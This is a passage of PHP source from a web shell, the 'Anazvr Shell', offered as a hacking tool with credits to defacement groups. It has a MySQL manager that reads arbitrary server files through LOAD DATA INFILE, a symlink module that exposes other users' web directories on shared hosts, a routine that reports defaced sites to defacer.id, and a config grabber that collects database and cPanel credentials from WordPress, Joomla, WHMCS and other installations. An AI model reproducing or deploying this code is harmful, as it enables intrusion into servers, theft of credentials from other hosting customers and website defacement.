1257 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_x=tbldump&thistbl=1\">[<b> Dump </b>]</a> ";
1258 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=insert\">[ <b>Insert</b> ]</a> ";
1259 if ($sql_tbl_x == "structure") { echo "<b>Under construction!</b>"; }
1260 if ($sql_tbl_x == "insert") {
1261if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
1262if (!empty($sql_tbl_insert_radio)) { echo "<b>Under construction!</b>"; }
1263else {
1264 echo "<br><br><b>Inserting row into table:</b><br>";
1265 if (!empty($sql_tbl_insert_q)) {
1266$sql_query = "SELECT * FROM `".$sql_tbl."`";
1267$sql_query .= " WHERE".$sql_tbl_insert_q;
1268$sql_query .= " LIMIT 1;";
1269$result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
1270$values = mysql_fetch_assoc($result);
1271mysql_free_result($result);
1272 }
1273 else {$values = array();}
1274 echo "<form method=\"POST\"><table width=\"1%\" class='tub'><tr><th><b>Field</b></th><th><b>Type</b></th><th><b>Function</b></th><th><b>Value</b></th></tr>";
1275 foreach ($tbl_struct_fields as $field) {
1276$name = $field["Field"];
1277if (empty($sql_tbl_insert_q)) {$v = "";}
1278echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
1279$i++;
1280 }
1281 echo "</table><br>";
1282 echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
1283 if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
1284 echo "<br><br><input class=\"inputzbut\" type=\"submit\" value=\"Confirm\"></form>";
1285}
1286 }
1287 if ($sql_tbl_x == "browse") {
1288$sql_tbl_ls = abs($sql_tbl_ls);
1289$sql_tbl_le = abs($sql_tbl_le);
1290echo "<hr size=\"1\" noshade>";
1291echo "<b>Page: </b>";
1292$b = 0;
1293for($i=0;$i<$numpages;$i++) {
1294 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
1295 echo $i;
1296 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
1297 if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
1298 else { echo " "; }
1299}
1300if ($i == 0) {echo "empty";}
1301echo "<br><br><form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
1302echo "<br><form method=\"POST\">\n";
1303echo "<table class='tub'><tr>";
1304echo "<th><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></th>";
1305for ($i=0;$i<mysql_num_fields($result);$i++) {
1306 $v = mysql_field_name($result,$i);
1307 if ($e[0] == "a") {$s = "d"; $m = "asc";}
1308 else {$s = "a"; $m = "desc";}
1309 echo "<th>";
1310 if (empty($e[0])) {$e[0] = "a";}
1311 if (@$e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
1312 else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."x=img&img=sort_".$m."\" alt=\"".$m."\"></a>";}
1313 echo "</th>";
1314}
1315echo "<th><font color=\"#00FF00\"><b>action</b></font></th>";
1316echo "</tr>";
1317while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
1318 echo "<tr>";
1319 $w = "";
1320 $i = 0;
1321 foreach ($row as $k=>$v) {
1322$name = mysql_field_name($result,$i);
1323$w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;
1324 }
1325 if (count($row) > 0) { $w = substr($w,0,strlen($w)-3); }
1326 echo "<td align='center' style='padding:0px;'><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
1327 $i = 0;
1328 foreach ($row as $k=>$v) {
1329$v = htmlspecialchars($v);
1330if ($v == "") { $v = "<font color=\"#00FF00\">NULL</font>"; }
1331echo "<td>".$v."</td>";
1332$i++;
1333 }
1334 echo "<td>";
1335 echo "<a href=\"".$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">Delete</a>";
1336 echo " | ";
1337 echo "<a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\">Edit</a> ";
1338 echo "</td>";
1339 echo "</tr>";
1340}
1341mysql_free_result($result);
1342echo "</table><hr size=\"1\" noshade><p align=\"left\"><input type=\"checkbox\"/> <select name=\"sql_x\">";
1343echo "<option value=\"\">With selected:</option>";
1344echo "<option value=\"deleterow\">Delete</option>";
1345echo "</select> <input class=\"inputzbut\" type=\"submit\" value=\"Confirm\"></form></p>";
1346}
1347 }
1348 else {
1349$result = mysql_query("SHOW TABLE STATUS", $sql_sock);
1350if (!$result) { echo mysql_smarterror(); }
1351else {
1352echo '<form method="POST">
1353<table class="tub">
1354<tr><th><input type="checkbox" name="boxtbl_all" value="1"></th><th>Table</th><th>Rows</th><th>Engine</th><th>Created</th><th>Modified</th><th>Size</th><th>Action</th></tr>';
1355 $i = 0;
1356 $tsize = $trows = 0;
1357 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
1358$tsize += $row["Data_length"];
1359$trows += $row["Rows"];
1360$size = view_size($row["Data_length"]);
1361echo'<tr>
1362<td align="center" style="padding:0px;"><input type="checkbox" name="boxtbl[]" value="'.$row["Name"].'"></td>
1363<td><a href="'.$sql_surl.'sql_tbl='.urlencode($row["Name"]).'"><b>'.$row["Name"].'</b></a></td>
1364<td>'.$row["Rows"].'</td><td>'.$row["Engine"].'</td><td>'.$row["Create_time"].'</td><td>'.$row["Update_time"].'</td><td>'.$size.'</td>
1365<td><a href="'.$sql_surl.'sql_x=query&sql_query='.urlencode("DELETE FROM `".$row["Name"]."`").'">Empty</a> | <a href="'.$sql_surl.'sql_x=query&sql_query='.urlencode("DROP TABLE `".$row["Name"]."`").'">Drop</a> | <a href="'.$sql_surl.'sql_tbl_x=insert&sql_tbl='.$row["Name"].'">Insert</a></td>
1366</tr>';
1367$i++;
1368 }
1369 echo "\t\t<tr>\n".
1370"\t\t<th>+</th><th>$i table(s)</th><th>$trows</th><th>$row[1]</th><th>$row[10]</th><th>$row[11]</th><th>".view_size($tsize)."</th><th></th>\n";
1371echo'</tr>
1372</table>
1373<div align="right">
1374<select class="inputz" name="sql_x">
1375<option value="">With selected:</option>
1376<option value="tbldrop">Drop</option>
1377<option value="tblempty">Empty</option>";
1378<option value="tbldump">Dump</option>";
1379<option value="tblcheck">Check table</option>";
1380<option value="tbloptimize">Optimize table</option>";
1381<option value="tblrepair">Repair table</option>";
1382<option value="tblanalyze">Analyze table</option>";
1383</select>
1384<input class="inputzbut" type="submit" value="Confirm">
1385</div>
1386</form>';
1387 mysql_free_result($result);
1388}
1389 }
1390}
1391 }
1392}
1393else {
1394$xs = array("","newdb","serverstatus","servervars","processes","getfile");
1395if (in_array($sql_x,$xs)) {
1396echo '<table class="tab">
1397<tr>
1398<td style="border:1px solid #333333;padding:3px;"><b>Create new DB:</b>
1399<form action="'.$surl.'">
1400<input type="hidden" name="x" value="sql">
1401<input type="hidden" name="sql_x" value="newdb">
1402<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1403<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1404<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1405<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1406<input class="inputz" type="text" name="sql_newdb" size="20">
1407<input class="inputzbut" type="submit" value="Create">
1408</form>
1409</td>
1410<td style="border:1px solid #333333;padding:3px;"><b>View File:</b>
1411<form action="'.$surl.'">
1412<input type="hidden" name="x" value="sql">
1413<input type="hidden" name="sql_x" value="getfile">
1414<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1415<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1416<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1417<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1418<input class="inputz" type="text" name="sql_getfile" size="30" value="'.htmlspecialchars($sql_getfile).'">
1419<input class="inputzbut" type="submit" value="Get">
1420</form>
1421</td>
1422</tr>
1423</table>';
1424}
1425if (!empty($sql_x)) {
1426 echo "<hr size=\"1\" noshade>";
1427 if ($sql_x == "newdb") {
1428echo "<b>";
1429if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
1430else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
1431 }
1432 if ($sql_x == "serverstatus") {
1433$result = mysql_query("SHOW STATUS", $sql_sock);
1434echo "<center><b>Server status variables:</b><br><br>";
1435echo "<table class='tub'><th><b>Name</b></th><th><b>Value</b></th></tr>";
1436while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1437echo "</table></center>";
1438mysql_free_result($result);
1439 }
1440 if ($sql_x == "servervars") {
1441$result = mysql_query("SHOW VARIABLES", $sql_sock);
1442echo "<center><b>Server variables:</b><br><br>";
1443echo "<table class='tub'><th><b>Name</b></th><th><b>Value</b></th></tr>";
1444while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1445echo "</table>";
1446mysql_free_result($result);
1447 }
1448 if ($sql_x == "processes") {
1449if (!empty($kill)) {
1450 $query = "KILL ".$kill.";";
1451 $result = mysql_query($query, $sql_sock);
1452 echo "<b>Process #".$kill." was killed.</b>";
1453}
1454$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
1455echo "<center><b>Processes:</b><br><br>";
1456echo "<table class='tub'><th><b>ID</b></th><th><b>USER</b></th><th><b>HOST</b></th><th><b>DB</b></th><th><b>COMMAND</b></th><th><b>TIME</b></th><th><b>STATE</b></th><th><b>INFO</b></th><th><b>Action</b></th></tr>";
1457while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_x=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
1458echo "</table>";
1459mysql_free_result($result);
1460 }
1461 if ($sql_x == "getfile") {
1462$tmpdb = $sql_login."_tmpdb";
1463$select = mysql_select_db($tmpdb);
1464if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
1465if ($select) {
1466 $created = FALSE;
1467 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
1468 mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
1469 $result = mysql_query("SELECT * FROM tmp_file;");
1470 if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
1471 else {
1472for ($i=0;$i<mysql_num_fields($result);$i++) { $name = mysql_field_name($result,$i); }
1473$f = "";
1474while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $f .= join ("\r\n",$row); }
1475if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
1476else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
1477mysql_free_result($result);
1478mysql_query("DROP TABLE tmp_file;");
1479 }
1480}
1481mysql_drop_db($tmpdb);
1482 }
1483}
1484 }
1485}
1486echo '</td></tr>';
1487if ($sql_sock) {
1488 $affected = @mysql_affected_rows($sql_sock);
1489 if ((!is_numeric($affected)) or ($affected < 0)) { $affected = 0; }
1490 echo "\t<tr><th colspan=2>Affected rows: $affected</th></tr>";
1491}
1492echo '</table></center>';
1493 }
1494echo '</form>';
1495}
1496}
1497elseif($_GET['do'] == 'about') {
1498
1499 echo '<font color=white><center>Anazvr Shell<hr>Just Shell By Anazvr -> <br>Gabungan Dari Shell [ IndoXploit ]-[ Andela ]-[ Security Exploaded ]-[ HIDDENSHELL (GSH) ]<br>
1500Big Thanks To :
1501 <marquee direction=left scrollamount=4>|
1502<font color=cyan>Garuda Security Hacker</font> | PhantomGhost | IndoXploit | Java Cyber Army | My Self :D Anazvr Security | Security Cyber Art | Lead Cyber Team | JancokSec | Owl Squad | Clowns Hacktivism Team | Hacker Patah Hati | Dan semua grup hacking yang pernah saya kunjungi ^_^
1503</marquee>
1504 <br>
1505 <br>
1506Garuda Security Hacker :
1507 <marquee direction=left scrollamount=4>
1508| Yukinoshita47 | Tuan2Fay | Snooze | E7B_404 | Cr4bbyP4tty | Fazlast | DarkTerrorizt | Prof.Engkus.ST.MT | Mr Secretz | Mr.UdinDotID | Mr_Viruzer#29 | Mr.Spongebob | Sys47ID | healer | ./CalmCoder | <font color=cyan>Anazvr</font> | ShadowHeart | dr.Sobri3195 | All Member Garuda Security Hacker |</marquee>
1509<br><br>For More Script Visit <a href="http://anazvr.blogspot.co.id/">Here</a></font>';
1510
1511}
1512elseif($_GET['do'] == 'symlink') {
1513$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
1514$d0mains = @file("/etc/named.conf");
1515##httaces
1516if($d0mains){
1517@mkdir("cox_sym",0777);
1518@chdir("cox_sym");
1519@exe("ln -s / root");
1520$file3 = 'Options Indexes FollowSymLinks
1521DirectoryIndex jancox.htm
1522AddType text/plain .php
1523AddHandler text/plain .php
1524Satisfy Any';
1525$fp3 = fopen('.htaccess','w');
1526$fw3 = fwrite($fp3,$file3);@fclose($fp3);
1527echo "
1528<table align=center border=1 style='width:60%;border-color:#333333;'>
1529<tr>
1530<td align=center><font size=2>S. No.</font></td>
1531<td align=center><font size=2>Domains</font></td>
1532<td align=center><font size=2>Users</font></td>
1533<td align=center><font size=2>Symlink</font></td>
1534</tr>";
1535$dcount = 1;
1536foreach($d0mains as $d0main){
1537if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
1538flush();
1539if(strlen(trim($domains[1][0])) > 2){
1540$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1541echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
1542<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
1543<td>".$user['name']."</td>
1544<td><a href='$full/cox_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
1545flush();
1546$dcount++;}}}
1547echo "</table>";
1548}else{
1549$TEST=@file('/etc/passwd');
1550if ($TEST){
1551@mkdir("cox_sym",0777);
1552@chdir("cox_sym");
1553exe("ln -s / root");
1554$file3 = 'Options Indexes FollowSymLinks
1555DirectoryIndex jancox.htm
1556AddType text/plain .php
1557AddHandler text/plain .php
1558Satisfy Any';
1559 $fp3 = fopen('.htaccess','w');
1560 $fw3 = fwrite($fp3,$file3);
1561 @fclose($fp3);
1562 echo "
1563 <table align=center border=1><tr>
1564 <td align=center><font size=3>S. No.</font></td>
1565 <td align=center><font size=3>Users</font></td>
1566 <td align=center><font size=3>Symlink</font></td></tr>";
1567 $dcount = 1;
1568 $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
1569 while(!feof($file)){
1570 $s = fgets($file);
1571 $matches = array();
1572 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1573 $matches = str_replace("home/","",$matches[1]);
1574 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1575 continue;
1576 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
1577 <td align=center><font class=txt>" . $matches . "</td>";
1578 echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1579 $dcount++;}fclose($file);
1580 echo "</table>";}else{if($os != "Windows"){@mkdir("cox_sym",0777);@chdir("cox_sym");@exe("ln -s / root");$file3 = '
1581 Options Indexes FollowSymLinks
1582DirectoryIndex Anazvr.htm
1583AddType text/plain .php
1584AddHandler text/plain .php
1585Satisfy Any
1586';
1587 $fp3 = fopen('.htaccess','w');
1588 $fw3 = fwrite($fp3,$file3);@fclose($fp3);
1589 echo "
1590 <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
1591 <table align=center border=1><tr>
1592 <td align=center><font size=3>ID</font></td>
1593 <td align=center><font size=3>Users</font></td>
1594 <td align=center><font size=3>Symlink</font></td></tr>";
1595 $temp = "";$val1 = 0;$val2 = 1000;
1596 for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
1597 if ($uid)$temp .= join(':',$uid)."\n";}
1598 echo '<br/>';$temp = trim($temp);$file5 =
1599 fopen("test.txt","w");
1600 fputs($file5,$temp);
1601 fclose($file5);$dcount = 1;$file =
1602 fopen("test.txt", "r") or exit("Unable to open file!");
1603 while(!feof($file)){$s = fgets($file);$matches = array();
1604 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
1605 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1606 continue;
1607 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
1608 <td align=center><font class=txt>" . $matches . "</td>";
1609 echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1610 $dcount++;}
1611 fclose($file);
1612 echo "</table></div></center>";unlink("test.txt");
1613 } else
1614 echo "<center><font size=3>Cannot create Symlink</font></center>";
1615 }
1616 }
1617}
1618elseif($_GET['do'] == 'defacerid') {
1619echo "<center><form method='post'>
1620 <u>Defacer</u>: <br>
1621 <input type='text' name='hekel' size='50' value'Anazvr'><br>
1622 <u>Team</u>: <br>
1623 <input type='text' name='tim' size='50' value='Garuda Security Hacker'><br>
1624 <u>Domains</u>: <br>
1625 <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
1626 <input type='submit' name='go' value='Submit' style='width: 450px;'>
1627 </form>";
1628$site = explode("\r\n", $_POST['sites']);
1629$go = $_POST['go'];
1630$hekel = $_POST['hekel'];
1631$tim = $_POST['tim'];
1632if($go) {
1633foreach($site as $sites) {
1634$zh = $sites;
1635$form_url = "https://www.defacer.id/notify";
1636$data_to_post = array();
1637$data_to_post['attacker'] = "$hekel";
1638$data_to_post['team'] = "$tim";
1639$data_to_post['poc'] = 'SQL Injection';
1640$data_to_post['url'] = "$zh";
1641$curl = curl_init();
1642curl_setopt($curl,CURLOPT_URL, $form_url);
1643curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
1644curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
1645curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
1646curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
1647curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
1648$result = curl_exec($curl);
1649echo $result;
1650curl_close($curl);
1651echo "<br>";
1652}
1653}
1654}
1655
1656elseif($_GET['do'] == 'config') {
1657 if($_POST){
1658 $passwd = $_POST['passwd'];
1659 mkdir("cox_config", 0777);
1660 $isi_htc = "Options all\nRequire None\nSatisfy Any";
1661 $htc = fopen("cox_config/.htaccess","w");
1662 fwrite($htc, $isi_htc);
1663 preg_match_all('/(.*?):x:/', $passwd, $user_config);
1664 foreach($user_config[1] as $user_cox) {
1665 $user_config_dir = "/home/$user_cox/public_html/";
1666 if(is_readable($user_config_dir)) {
1667 $grab_config = array(
1668 "/home/$user_cox/.my.cnf" => "cpanel",
1669 "/home/$user_cox/.accesshash" => "WHM-accesshash",
1670 "/home/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
1671 "/home/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
1672 "/home/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
1673 "/home/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
1674 "/home/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
1675 "/home/$user_cox/public_html/forum/config.php" => "phpBB",
1676 "/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
1677 "/home/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
1678 "/home/$user_cox/public_html/app/etc/local.xml" => "Magento",
1679 "/home/$user_cox/public_html/admin/config.php" => "OpenCart",
1680 "/home/$user_cox/public_html/slconfig.php" => "Sitelok",
1681 "/home/$user_cox/public_html/application/config/database.php" => "Ellislab",
1682 "/home/$user_cox/public_html/whm/configuration.php" => "WHMCS",
1683 "/home/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
1684 "/home/$user_cox/public_html/central/configuration.php" => "WHM Central",
1685 "/home/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
1686 "/home/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
1687 "/home/$user_cox/public_html/submitticket.php" => "WHMCS",
1688 "/home/$user_cox/public_html/configuration.php" => "Joomla",
1689 "/home/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
1690 "/home/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
1691 "/home/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
1692 "/home/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
1693 "/home/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
1694 "/home/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
1695 "/home/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
1696 "/home/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
1697 "/home/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
1698 "/home/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
1699 "/home/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
1700 "/home/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
1701 "/home/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
1702 "/home/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
1703 "/home/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
1704 "/home/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
1705 "/home/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
1706 "/home/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
1707 "/home/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
1708 "/home/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
1709 "/home/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
1710 "/home/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
1711 "/home/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
1712 "/home/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
1713 "/home/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
1714 "/home/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
1715 "/home/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
1716 "/home/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
1717 "/home/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
1718 "/home/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
1719 "/home/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
1720 "/home/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
1721 "/home/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
1722 "/home/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
1723 "/home/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
1724 "/home/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
1725 "/home/$user_cox/public_html/wp-config.php" => "WordPress",
1726 "/home/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
1727 "/home/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
1728 "/home/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
1729 "/home/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
1730 "/home/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
1731 "/home/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
1732 "/home/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
1733 "/home/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
1734 "/home/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
1735 "/home/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
1736 "/home/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
1737 "/home/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
1738 "/home/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
1739 "/home/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
1740 "/home/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
1741 "/home/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
1742 "/home/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
1743 "/home/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
1744 "/home/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
1745 "/home/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
1746 "/home/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
1747 "/home/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
1748 "/home/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
1749 "/home/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
1750 "/home/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
1751 "/home/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
1752 "/home/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
1753 "/home/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
1754 "/home/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
1755 "/home/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
